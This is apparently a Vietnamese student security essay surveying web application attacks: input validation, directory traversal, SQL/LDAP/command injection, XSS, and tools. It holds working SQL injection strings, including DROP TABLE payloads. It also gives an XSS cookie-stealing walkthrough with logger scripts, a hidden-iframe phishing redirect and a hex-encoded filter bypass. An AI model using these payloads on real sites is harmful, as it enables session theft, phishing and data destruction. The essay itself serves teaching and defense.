Tiểu luận môn an toàn thông tin Web Application Hacking

Web Application
Hacking
Giảng viên hướng dẫn: Nguyễn Duy
08520357 - Nguyễn Tấn Thành
08520432 - Nguyễn Đức Trung
08520370 - Mẫn Văn Thắng
08520123 - Nguyễn Hinh
Mục Lục
Mục Lục hình ảnh
1 Hacking Web Application
1.1 Lỗi thường gặp:
1.1.1 Lỗi ràng buộc đầu vào (input validation flaw):
Hình 1: Lỗi ràng buộc đầu vào
Lỗi ràng buộc đầu vào là một trong những lỗi cơ bản nhất thường gặp phải. Hiện phần
lớn các lỗi dẫn đến các cuộc tấn công của các website thường được khai thác từ lỗi cơ
bản này.
Với sai sót về kiểm tra các tham số đầu vào khi có sự chuyển giao các giá trị giữa server
và máy client, kẻ tấn công sẽ tận dụng các lỗi này để dò tìm, thay đổi các truy vấn có sẵn
thành các truy vấn có lợi cho kẻ tấn công. Qua đó, kẻ tấn công có thể khai thác các thông
tin nhạy cảm như mật khẩu, tên người dùng, các thông tin về tài khoản tín dụng .v.v…
Thường các khai thác này được thực hiện trên các form có sẳn của website. Các form này
khi gửi lên không được nhà lập trình kiểm tra về tính đúng đắn của dữ liệu. Có thể ví dụ
như các form đăng nhập. Với các truy vấn bình thường sẽ thường có cú pháp như sau:
/>Tuy nhiên, khi không có sự kiểm tra dữ liệu gửi lên, kẻ tấn công có thể thay đổi thành
một truy vấn vào thẳng cơ cở dữ liệu của hệ thống.
Lỗi ràng buộc đầu vào chỉ là bước cơ bản để khai thác lổ hổng của ứng dụng web. Kẻ tấn
công sẽ khai thác các lỗi để thực thi các cuộc tấn công như : cross-site scripting, tràn bộ
đệm, tấn công truy vấn injection .v.v…
1.1.2 Lỗi tham số giả mạo (parameter tampering):
Hình 2: Lỗi tham số giả mạo
Lỗi tham số giả mạo là một hình thức tấn công dựa trên web, trong đó dựa vào các thông

số của URL hoặc các tham số trong form của người sử dụng được thay đổi mà không
được sự cho phép của người dùng đó. Lổi này được khai thác trên các được liên kết, trang
hoặc site
Lỗi tham số giả mạo thường được các tội phạm, kẻ ăn cắp thông tin sử dụng để khai thác
thông tin cá nhân hoặc kinh doanh của người sử dụng.
Các biện pháp cụ thể để đối phó với lỗi này liên quan đến việc xác nhận tất cả các tham
số, đảm bảo rằng nó phù hợp với các tiêu chuẩn như: chiều dài tối đa, chiều dài tối thiểu,
phạm vi cho phép về ký tự, các tham số có thực sự cần thiết
1.1.3 Lỗi truy vấn thư mục (directory traversal):
Hình 3: Lỗi tham số giả mạo
Lỗi truy vấn thư mục được khai thác khi việc xác thực tham số khi người dùng cung câp
tệp tin đầu vào không an toàn. Điều này xãy ra khi ký tự đại diện trở về thư mục cha
được sử dụng làm tham số đầu vào. Thông qua các API tải tệp tin, kẻ tấn công sẽ cố gắng
khai thác các tệp tin cấp thư mục cao hơn thư mục có sẵn
Mục tiêu của các kẻ tấn công là tìm cách đọc các file hệ thống mà thường thì nó không
thể truy cập với quyền người dùng được
Khác với lỗi khai thác trong code lập trình, đây là lỗi khai thác về điểm yếu của bảo mật
1.1.4 Lỗi trường ẩn (hidden field):
Hình 4: Lỗi trường ẩn
Khi người sử dụng thực hiện chọn trên các trang html, các lệnh chọn sẽ tự động chứa các
thông tin vào các dữ liệu form và gửi cho ứng dụng web bằng các HTTP request
HTML có thể chứa các trường giá trị như là các trường ẩn, nó không được hiển thị trên
giao diện trình duyệt, nhưng nó được gửi lên như một tham số khi form được gửi. Kẻ tấn
công có thể xem xét mã HTML và thay đổi các giá trị của trường ẩn để thay đổi tham số
gửi đến server
Khi nhà lập trình không kiểm soát các trường ẩn này, các thông số này có thể được thông
qua và gây các lỗi tiềm tàng cho hệ thống
Thông thường, lỗi này được sử dụng để thay đổi các giá trị gửi đến server nhằm mục đích
thương mại hoặc qua mặt sự kiểm tra của hệ thống. Đây cũng là lỗi giúp kẻ tấn công thực
hiện các cuộc tấn công phức tạp hơn

1.2 Lỗi Injection:
1.2.1 Lỗi truy vấn SQL (SQL injection):
Hình 5: Lỗi truy vấn SQL
SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của việc
kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ
sở dữ liệu trả về để inject (tiêm vào) và thi hành các câu lệnh SQL bất hợp pháp, Sql
injection có thể cho phép những kẻ tấn công thực hiện các thao tác, delete, insert, update,
… trên cơ sỡ dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy, lỗi này
thường xãy ra trên các ứng dụng web có dữ liệu được quản lý bằng các hệ quản trị cơ sở
dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase
1.2.1.1 Không kiểm tra ký tự thoát truy vấn
Đây là dạng lỗi SQL injection xảy ra khi thiếu đoạn mã kiểm tra dữ liệu đầu vào trong
câu truy vấn SQL. Kết quả là người dùng cuối có thể thực hiện một số truy vấn không
mong muốn đối với cơ sở dữ liệu của ứng dụng. Dòng mã sau sẽ minh họa lỗi này:
statement = "SELECT * FROM users WHERE name = '" + userName + "';"
Câu lệnh này được thiết kế để trả về các bản ghi tên người dùng cụ thể từ bảng những
người dùng. Tuy nhiên, nếu biến "userName" được nhập chính xác theo một cách nào đó
bởi người dùng ác ý, nó có thể trở thành một câu truy vấn SQL với mục đích khác hẳn so
với mong muốn của tác giả đoạn mã trên. Ví dụ, ta nhập vào giá trị của biến userName
như sau:
a' or 't'='t
Khiến câu truy vấn có thể được hiểu như sau:
SELECT * FROM users WHERE name = 'a' OR 't'='t';
Nếu đoạn mã trên được sử dụng trong một thủ tục xác thực thì ví dụ trên có thể được sử
dụng để bắt buộc lựa chọn một tên người dùng hợp lệ bởi 't'='t' luôn đúng. Trong khi hầu
hết các SQL server cho phép thực hiện nhiều truy vấn cùng lúc chỉ với một lần gọi, tuy
nhiên một số SQL API như mysql_query của php lại không cho phép điều đó vì lý do bảo
mật. Điều này chỉ ngăn cản tin tặc tấn công bằng cách sử dụng các câu lệnh riêng rẽ mà
không ngăn cản tin tặc thay đổi các từ trong cú pháp truy vấn. Các giá trị của biến
"userName" trong câu truy vấn dưới đây sẽ gây ra việc xoá những người dùng từ bảng

người dùng cũng tương tự như việc xóa tất cả các dữ liệu được từ bảng dữ liệu (về bản
chất là tiết lộ các thông tin của mọi người dùng), ví dụ này minh họa bằng một API cho
phéo thực hiện nhiều truy vấn cùng lúc:
a';DROP TABLE users; SELECT * FROM data WHERE 't' = 't
Điều này đưa tới cú pháp cuối cùng của câu truy vấn trên như sau:
SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM
DATA WHERE 't' = 't';
1.2.1.2 Xử lý không đúng kiểu
Lỗi SQL injection dạng này thường xảy ra do lập trình viên hay người dùng định nghĩa
đầu vào dữ liệu không rõ ràng hoặc thiếu bước kiểm tra và lọc kiểu dữ liệu đầu vào. Điều
này có thể xảy ra khi một trường số được sử dụng trong truy vấn SQL nhưng lập trình
viên lại thiếu bước kiểm tra dữ liệu đầu vào để xác minh kiểu của dữ liệu mà người dùng
nhập vào có phải là số hay không. Ví dụ như sau:
statement := "SELECT * FROM data WHERE id = " + a_variable + ";"
Ta có thể nhận thấy một cách rõ ràng ý định của tác giả đoạn mã trên là nhập vào một số
tương ứng với trường id - trường số. Tuy nhiên, người dùng cuối, thay vì nhập vào một
số, họ có thể nhập vào một chuỗi ký tự, và do vậy có thể trở thành một câu truy vấn SQL
hoàn chỉnh mới mà bỏ qua ký tự thoát. Ví dụ, ta thiết lập giá trị của biến a_variable là:
1;DROP TABLE users
khi đó, nó sẽ thực hiện thao tác xóa người dùng có id tương ứng khỏi cơ sở dữ liệu, vì
câu truy vấn hoàn chỉnh đã được hiểu là:
SELECT * FROM DATA WHERE id=1;DROP TABLE users;
1.2.1.3 Lỗi bảo mật bên trong máy chủ cơ sở dữ liệu
Đôi khi lỗ hổng có thể tồn tại chính trong phần mềm máy chủ cơ sở dữ liệu, như là
trường hợp hàm mysql_real_escape_string() của các máy chủ MySQL. Điều này sẽ cho
phép kẻ tấn công có thể thực hiện một cuộc tấn công SQL injection thành công dựa trên
những ký tự Unicode không thông thường ngay cả khi đầu nhập vào đang được thoát.
1.2.1.4 Blind SQL injection
Lỗi SQL injection dạng này là dạng lỗi tồn tại ngay trong ứng dụng web nhưng hậu quả
của chúng lại không hiển thị trực quan cho những kẻ tấn công. Nó có thể gây ra sự sai

khác khi hiển thị nội dung của một trang chứa lỗi bảo mật này, hậu quả của sự tấn công
SQL injection dạng này khiến cho lập trình viên hay người dùng phải mất rất nhiều thời
gian để phục hồi chính xác từng bit dữ liệu. Những kẻ tấn công còn có thể sử dụng một
số công cụ để dò tìm lỗi dạng này và tấn công với những thông tin đã được thiết lập sẵn.
1.2.1.5 Thay đổi giá trị điều kiện truy vấn
Dạng lỗi này khiến cho kẻ tấn công có thể thay đổi giá trị điều kiện trong câu truy vấn,
làm sai lệch sự hiển thị của một ứng dụng chứa lỗi này.
SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=1;
Sẽ hiển thị một trang một cách bình thường, trong khi:
SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=2;
sẽ hiển thị một nội dung khác, hoặc không hiển thị gì nếu ứng dụng web có chứa lỗi SQL
injection dạng này. Lỗ hổng dạng này còn cho phép tin tặc không chỉ gây ảnh hưởng tới
bảng hay dữ liệu hiện tại mà còn ảnh hưởng tới những dữ liệu hay bảng khác phụ thuộc
vào nội dung của dữ liệu hay bảng hiện tại.
1.2.1.6 Điều kiện lỗi
Lỗi SQL injection dạng này dẫn tới việc buộc cơ sở dữ liệu chỉ được phép đánh giá khi
mà giá trị của câu lệnh WHERE là đúng. Ví dụ:
SELECT 1/0 FROM users WHERE username='Ralph';
Phép chia cho 0 chỉ được đánh giá là lỗi khi mà người dùng có tên "Ralph" tồn tại trong
cơ sở dữ liệu.
1.2.1.7 Thời gian trễ
Lỗi SQL injection dạng này tồn tại khi thời gian xử lý của một hay nhiều truy vấn SQL
phụ thuộc vào dữ liệu logic được nhập vào hoặc quá trình xử lý truy vấn của SQL engine
cần nhiều thời gian. Tin tặc có thể sử dụng lỗi SQL injection dạng này để xác định thời
gian chính xác mà trang cần tải khi giá trị nhập vào là đúng.
1.2.2 Lỗi truy vấn lệnh (Command line injection):
Hình 6: Lỗi truy vấn lệnh
Lỗi truy vấn lệnh là một tấn công bằng truy vấn, nó gần giống với lỗi truy vấn SQL,
nhưng nó không dựa trên việc khai thác SQL mà khai thác các hàm hệ thống, hàm dịch
vụ web có sẵn.

Shell injection là một dàng của lỗi truy vấn lệnh. Nó sử dụng các hàm system(),
StartProcess(), exec(), Start() và các hàm API tương đồng
Ngoài ra, có một cách khác là dùng kiểu khai thác lỗi File injection. Qua đó kẻ tấn công
sẽ tận dụng các lỗi và chèn các mã độc vào các file hệ thống
1.2.3 Lỗi truy vấn LDAP (LDAP injection):
Hình 7: Lỗi Truy vấn LDAP
Lỗi truy vấn LDAP là kiểu tấn công giống lỗi truy vấn SQL nhưng nó khai thác từ tham
số người dùng để phát sinh các truy vấn LDAP
Để kiểm tra nguy cơ lỗi truy vấn LDAP bằng cách : gửi một truy vấn với đầu vào bị lỗi.
Nếu server LDAP trả về thông báo lỗi, thì nó có thể khai thác lỗi này
1.3 Cross Site Scripting:
Cross Site Scripting (Viết tắt XSS) là một trong những cách thức tấn công ứng dụng web
phổ biến. XSS được nhúng kịch bản trong một trang web thực hiện trên phía máy khách
(trong trình duyệt web của người dùng) hơn là về phía máy chủ. XSS là một mối đe dọa
bởi các điểm yếu an ninh mạng của các ngôn ngữ kịch bản phía máy khách, với HTML và
JavaScript (ngoài ra còn có VBScript, ActiveX, HTML, hoặc Flash) là thủ phạm chính
trong việc khai thác này. Khái niệm về XSS là thao tác các kịch bản phía máy khách của
một ứng dụng web để thực hiện theo cách mong muốn của kẻ xấu. Những kịch bản đã
nhúng vào trang web sẽ được thực hiện khi người dùng tải trang hoặc có những tác vụ liên
quan.
Hình 8: Cross Site Scripting
XSS cho phép attacker chèn các đoạn mã vào link của đường dẫn, để thực thi trên trình
duyệt của người dùng, dẫn đến việc mất cookies, mật khẩu, session hay fishing lừa đảo
hay chèn virus
Thường thì XSS có dạng như sau:
;alert('bug !');</script>
Và nội dung hiện ra trên trình duyệt sẽ là: "bug!"
1.3.1 Cách khai thác lỗi XSS:
Khác với các lỗi khác là gây hại trực tiếp lên hệ thống chứa web site, còn XSS lại không
gây hại đến hệ thống của sever mà đối tượng tấn công chủ yếu của XSS lại là người

dùng!
1.3.1.1 Cách lấy cookies:
Hacker sẽ tạo ra ở host của mình một file cookie.asp có nội dung:
<% Set x = CreateObject("Scripting.FileSystemObject") Set y =
x.OpenTextFile(Server.MapPath("xss.txt"), 8, true) y.WriteLine
Request.QueryString("cookie") y.Close Set y = Nothing Set x = Nothing %>
hoặc file cookie.php như sau:
<? $f = fopen("xss.txt","a"); fputs($f, $cook.chr(13)); fclose($f); ?>
và sau đó chèn vào link web bị lỗi nó sẽ có dạng:
[URL=" />query=<[/URL] script>window.open(" />cookie="+document.cookie)< /script>
Sau khi người dùng click vào link của bạn thì bạn chỉ việc vào file xss.txt mà xem
cookies thôi!
bạn có thể lấy cookies của người dùng tuy nhiên việc sử dụng được cookies lại là một
vấn đề khác, phụ thuộc vào loại cookies và cả cách login của trang web đó nữa!
1.3.1.2 Attacker dùng XSS để lừa đảo!
Ngoài việc lấy cookies, các attacker còn có thể hướng trình duyệt của người dùng đến
trang web mà Attacker thiết kế sẵn!
Sau khi attacker đã có thông tin về lỗi XSS, họ có thể dùng IFRAME, code như sau:
<iframe src='' width='1' height='1' style='visibility;
hidden;'></iframe>
hoặc:
<meta http-equiv="Refresh" content="0;url=">
Ngoài ra bạn hoàn toàn có thể dùng hàm open, close window để chuyển hướng web sang
một trang web khác bạn muốn.
Mình còn cách này hay hơn : Dùng hàm write. In ra một thẻ div đặt độ rộng là 1024, cao
800. possion : absulitly, left=0, top=0. Như vậy là cái div vừa tạo sẽ che toàn bộ màn
hình, thế là người dùng đã vào trang lừa đảo của các attacker!
Attacker có thể lợi dụng lỗi này để fishing trên các Hệ thống thanh toán, game, shopping,
Ngân hàng, Tín dụng hoặc là chèn virus!
Attacker có thể lợi dụng lỗi này để fishing trên các Hệ thống thanh toán, game, shopping,

Ngân hàng, Tín dụng
Vượt qua cơ chế lọc ký tự:
Nhiều coder khôn khéo lọc hết các kỹ tự đặc biệt như ' hay + để tránh các việc chèn lệnh
trên URL để tấn công SQL hay XSS nhưng một attacker cao tay sẽ dễ dàng giải quyết
việc này bằng cách sử dụng mã hóa HEX thay thế để khai thác
/>%64%6 f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%7 7%77%2e
%63%67%69%73%65%63%75%72%69%74%79
%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6 b
%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%
75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72
%69%70%74%3e
link site chuyển đổi:
/>1.3.1.3 Phát hiện XSS:
Nếu như bạn sử dụng các mả nguồn có sẵn trên internet thì bạn có thể tìm các lỗi trên các
trang thông báo bug, các mail list như: securityfocus.com, securiteam.com
milw0rm.com . . .
Còn nếu như bạn sử dụng mã ngu6ồn tự viết thì bạn có thể dựa vào khả năng của mình để
tìm bug XSS trên code hay là dùng các chương trinh scan bug, phổ biến nhất là Acunetix.
1 site bất kì bao giờ cũng có 1 hoặc tất cả các phần sau : search results, error messages ,
Web-form , chủ yếu lỗi XSS nằm ở các phần này , nói chung là XSS có thể xảy ra ở chỗ
nào mà người dùng có thể nhập dữ liệu vào và sau đó sẽ nhận được 1 cái gì đó .
Cách tìm lỗi để cho rõ ràng thì các chuyên gia bảo mật chia làm 7 bước nhưng theo tôi
nên chia thành 5 bước : Bước 1 : Mở website cần kiểm tra ( cái này tất nhiên rồi )
Bước 2 : Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông tin đi
(nhập thông tin và nhấn submit hay login hay ok gì đó ) , ví dụ nhập chữ "XSS" chẳng
hạn hay chữ gì cũng được .
Bước 3 : Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông tin trả
về : Ví dụ bạn thấy như thế này : · "Your search for 'XSS' did not find any items" · "Your
search for 'XSS' returned the following results" · "User 'XSS' is not valid" · "Invalid login

'XSS'" hoặc là cái gì đó mà có dính tới chữ "XSS" mà bạn nhập vào ban đầu thì 99%
"Alert" này bị XSS còn vài hình thức thử nữa tôi cũng xin trình bày luôn :
+ Chú ý các ô input hay các biến ngay trên thanh address ( var= ) thấy mấy cái này thì cứ
nhét dữ liệu vào . Hãy thử với những script này :
< script>alert('XSS')< /script> hoặc <i*g csstest=java script:alert('XSS')> hoặc
&{alert('XSS')};
Bước 4 : Chèn code thực sự vào nơi bị lỗi : chèn cái này < script>alert('XSS')< /script>
vào ô ban nãy và nhấn SUBMIT . Nếu sau đó bạn nhận được 1 popup có chữ "XSS" thì
"Alert" này 100% bị dính XSS . Nhưng xin chú ý , thỉnh thoảng vẫn có trường hợp
website đó bị dính XSS nhưng vẫn không xuất hiện cái popup thì buộc lòng bạn phải
VIEW SOURCES (mổ bụng) nó ra để xem . Khi view sources nhớ kiếm dòng này<
script>alert('Mask_NBTA')< /script> , nếu có thì hết chạy , XSS đây rồi .
Một ví dụ khác thường gặp hơn :
Gọi là site bị dính lỗi XSS và ta tìm được nơi bị lỗi như thế này :
< script> , nghĩa là ta có thể chèn code ngay trên
thanh ADDRESS . Tôi không thể trình bày hết mọi tình huống được , cái mà các bạn cần
là hiểu ra vấn đề thì bạn sẽ hiểu được khi nào bị lỗi .
1.3.1.4 Ngăn ngừa XSS:
Để kiểm tra việc lọc và mã hoá dữ liệu trước khi in ra, các bạn có thể dùng một chương
trình được viết bằng ngôn nhữ PHP, đặc biệt nó được thiết kế để phòng chống các lỗi
XSS. Bạn có thể lấy mã nguồn chương trình từ
Lọc và mã hoá các dữ liệu cho vấn là cách
tốt nhất để chống XSS nhưng nếu bạn đang sử dụng mod_perl trên Apache Server thì bạn
có thể dùng ngay module Apache::TaintRequest. Khi đó mã nguồn chương trình sẽ có
dạng :
use Apache::TaintRequest;
my $apr = Apache::TaintRequest->new(Apache->request);
my $text = $apr->param('text');
$r->content_type("text/html");
$r->send_http_header;

$text =~ s/[^A-Za-z0-9 ]//;
$r->print("You entered ", $text);
1.4 Công cụ tấn công:
1.4.1 Burp Suite Professional:
Hình 9: Giao diện Burp Suite Professional
Burp Suite là một nền tảng tích hợp để thực hiện kiểm tra an ninh của các ứng dụng
web.Các công cụ khác nhau của nó làm việc liên tục với nhau để hỗ trợ quá trình thử
nghiệm toàn bộ, từ bản đồ ban đầu và phân tích bề mặt tấn công của một ứng dụng, thông
qua việc tìm kiếm và khai thác các lỗ hổng bảo mật.
Burp cung cấp cho bạn toàn quyền kiểm soát, cho phép bạn kết hợp các kỹ thuật tiên tiến
hướng dẫn sử dụng với nhà nước-of-the-nghệ thuật tự động hóa, làm cho công việc của
bạn nhanh hơn, hiệu quả hơn
Burp Suite có chứa các thành phần chủ yếu sau đây:
Chặn proxy, cho phép bạn kiểm tra và chỉnh sửa lưu lượng giữa các trình duyệt của bạn
và áp dụng cho các mục tiêu.
Nhận biết ứng dụng, để thu thập nội dung và chức năng.
Một máy quét ứng dụng web tiên tiến, tự động phát hiện nhiều loại nguy hiểm.
Một công cụ xâm nhập, để thực hiện các cuộc tấn công mạnh mẽ tùy chỉnh để tìm và khai
thác lỗ hổng bất thường.
Một công cụ lặp lại, cho các thao tác và gửi lại yêu cầu cá nhân.
Một công cụ sắp xếp dãy, kiểm tra ngẫu nhiên các mã thông báo.
Khả năng mở rộng, cho phép bạn dễ dàng viết plugin của riêng bạn, để thực hiện các
nhiệm vụ phức tạp và tùy chỉnh trong Burp.
Trang chủ của chương trình là : />1.5 Công cụ bảo mật:
1.5.1 Acunetix Web Vulnerability Scanner:
Acunetix WVS (Web Vulnerability Scanner) là chương trình tự động kiểm tra các ứng
dụng Web để tìm kiếm các lỗ hổng bảo mật như SQL Injection, hay Cross-Site Scripting,
… và tìm kiếm những chính sách đối với mật khẩu đăng nhập cũng như các phương thức
xác thực vào Web Site.
Hình 10: Giao diện Acunetix Web Vulnerability Scanner

Như thường thấy, các lỗi bảo mật ở Việt Nam tập trung vào những lỗ hổng nguy hiểm mà
bất cứ công cụ Scan cao cấp nào cũng có thể quét thấy. Nhưng hầu hết các admin dường
như quên mất, hoặc không biết đến những lỗ hổng vốn dĩ rất dễ phát hiện này.
Hiện nay, trên thế giới có những công cụ quét lỗi bảo mật khá nổi tiếng như là: Shadow
Security Scanner, Retina Network Security Scanner, Metasploit cao cấp hơn và phải có
độ hiểu biết nhất định là Nmap, Netcat Bài viết này xin giới thiệu đến các bạn phần
mềm Acunetix WVS dùng để quét các lỗi bảo mật hệ thống của mình.
Các lỗ hổng có thể được kiểm tra bởi chương trình:
- Code Execution
- Directory Traversal
- File Inclusion
- Script Source Code Disclosure
- CRLF Injection
- Cross Frame Scripting (XFS)
- PHP Code Injection
- XPath Injection
- Full Path Disclosure
- LDAP Injection
- Cookie Manipulation
- MultiRequest Parameter Manipulation
- Blind SQL/XPath Injection
- File Checks
- Checks Backup Files hay Directories – Tìm kiếm các tập tin thông dụng (như là logs,
application traces, CVS web repositories)
- Cross Site Scripting trong URL
- Checks Script Errors
- Directory Checks
- Tìm kiếm các tập tin quan trọng như logs, traces, CVS.
- Discover Sensitive Files/Directories
- Kiểm tra các quyền gán cho thư mục không hợp lệ - Weak Permissions

- Cross Site Scripting trong Path and PHPSESSID Session Fixation.
- Web Applications
- Text Search
- Directory Listings
- Source Code Disclosure
- Kiểm tra Common Files
- Kiểm tra Email Addresses
- Microsoft Office Possible Sensitive Information
- Local Path Disclosure
- Error Messages
- GHDB Google Hacking Database
- Hơn 1200 GHDB Search Entries trong Database
2 Tài liệu tham khảo
Slide CEH V7 Module 13 - Hacking Web Application